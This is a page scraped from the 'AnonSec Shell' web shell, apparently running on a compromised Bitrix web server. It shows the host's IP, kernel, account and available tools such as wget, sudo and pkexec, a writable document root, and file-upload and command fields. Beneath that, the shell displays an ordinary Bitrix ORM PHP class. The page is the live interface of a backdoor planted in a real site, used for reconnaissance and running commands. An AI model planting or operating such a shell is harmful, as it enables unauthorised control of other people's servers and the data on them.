AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.111.221
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib//userfieldlangtable.php
<?php

namespace Bitrix\Main;

use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ORM;

/**
 * Class UserFieldLangTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_UserFieldLang_Query query()
 * @method static EO_UserFieldLang_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_UserFieldLang_Result getById($id)
 * @method static EO_UserFieldLang_Result getList(array $parameters = [])
 * @method static EO_UserFieldLang_Entity getEntity()
 * @method static \Bitrix\Main\EO_UserFieldLang createObject($setDefaultValues = true)
 * @method static \Bitrix\Main\EO_UserFieldLang_Collection createCollection()
 * @method static \Bitrix\Main\EO_UserFieldLang wakeUpObject($row)
 * @method static \Bitrix\Main\EO_UserFieldLang_Collection wakeUpCollection($rows)
 */
class UserFieldLangTable extends ORM\Data\DataManager
{
	public static function getTableName(): string
	{
		return 'b_user_field_lang';
	}

	public static function getMap(): array
	{
		return [
			(new ORM\Fields\IntegerField('USER_FIELD_ID'))
				->configurePrimary()
				->configureRequired(),
			(new ORM\Fields\StringField('LANGUAGE_ID'))
				->configurePrimary()
				->configureRequired()
				->configureSize(2),
			(new ORM\Fields\StringField('EDIT_FORM_LABEL'))
				->configureSize(255)
				->configureTitle(Loc::getMessage('MAIN_USER_FIELD_LANG_TABLE_EDIT_FORM_LABEL_TITLE')),
			(new ORM\Fields\StringField('LIST_COLUMN_LABEL'))
				->configureSize(255)
				->configureTitle(Loc::getMessage('MAIN_USER_FIELD_LANG_TABLE_LIST_COLUMN_LABEL_TITLE')),
			(new ORM\Fields\StringField('LIST_FILTER_LABEL'))
				->configureSize(255)
				->configureTitle(Loc::getMessage('MAIN_USER_FIELD_LANG_TABLE_LIST_FILTER_LABEL_TITLE')),
			(new ORM\Fields\StringField('ERROR_MESSAGE'))
				->configureSize(255)
				->configureTitle(Loc::getMessage('MAIN_USER_FIELD_LANG_TABLE_ERROR_MESSAGE_TITLE')),
			(new ORM\Fields\StringField('HELP_MESSAGE'))
				->configureSize(255)
				->configureTitle(Loc::getMessage('MAIN_USER_FIELD_LANG_TABLE_HELP_MESSAGE_TITLE')),
			(new ORM\Fields\Relations\Reference(
				'USER_FIELD',
				UserFieldTable::class,
				[
					'=this.USER_FIELD_ID' => 'ref.ID',
				])),
		];
	}
}

Anon7 - 2022
AnonSec Team